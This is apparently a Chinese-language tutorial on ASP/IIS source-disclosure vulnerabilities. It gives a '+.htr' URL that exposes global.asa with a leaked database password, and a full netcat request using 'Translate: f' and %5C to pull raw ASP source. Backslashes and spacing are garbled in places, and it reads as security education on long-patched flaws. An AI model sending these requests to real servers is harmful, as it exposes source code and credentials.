ASP常見的安全性漏洞（3）

　　例如，利用以下的URL: http://10.11.11.15/global.asa+.htr可以取得10.11.11.15上面的 global.asa 檔案。注意那個資料庫連接字串中的 UID 和 PWD。這給了駭客一個使用者名稱以及密碼:
SCRIPT LANGUAGE="VBScript" RUNAT="Server">
Sub Application_OnStart
Set Db = Server.CreateObject("Commerce.DbServer")
Db.ConnectionString = "DSN=trans.db;UID=sa;PWD=n0t4u2c"
Db.Application = http://10.11.11.15/
Set Application("Db") = Db
End Sub
Sub Session_OnStart
'==Visual InterDev Generated - DataConnection startspan==
'--Project Data Connection
Session("DataConn_ConnectionString") =
"DSN=CertSrv;DBQ=C:WINNT2System32CertLogcertsrv.mdb;DriverId=25;
FIL=MS Access;MaxBufferSize=512;PageTimeout=5;"
Session("DataConn_ConnectionTimeout") = 15
Session("DataConn_CommandTimeout") = 30
Session("DataConn_RuntimeUserName") = ""
Session("DataConn_RuntimePassword") = ""
'==Visual InterDev Generated - DataConnection endspan==
End Sub
/SCRIPT
　　Microsoft 已經以修正這項安全性漏洞。
　　在.htr 安全性漏洞得到修正之後，駭客們又找到了新的切入點：Translate: f 模組的安全性漏洞。Translate: f 模組是 Microsoft 為了 FrontPage 2000 以及 FrontPage 2000 Server extensions on Windows 2000 而設計的 WebDAV 的一部份。如果一個反斜線（）被附加到所要求的檔案資源之後，而且 Translate: f 模組在提出回詢的 HTTP 表頭標題裡面，那麼網頁伺服器就會回傳完全未經處理的 ASP 原始程式碼。
　　下面是一個使用 Netcat（相關網址：http://www.l0pht.com/~weld/netcat/）送出回詢的 HTTP 表頭，可以用來取得10.11.11.15上面 default.asp 的原始程式碼:
$ nc10.11.11.1580
GET /default.asp%5C HTTP/1.0
Host: 10.11.11.15
User-Agent: Mozilla/4.0
Content-Length: 18
Content-Type: text/html
Translate: f
match=www&errors=0
　　注意：在 GET 回詢中，用了%5C。
　反斜線字元（）的十六位 ASCII 碼錶示方式就是 %5C。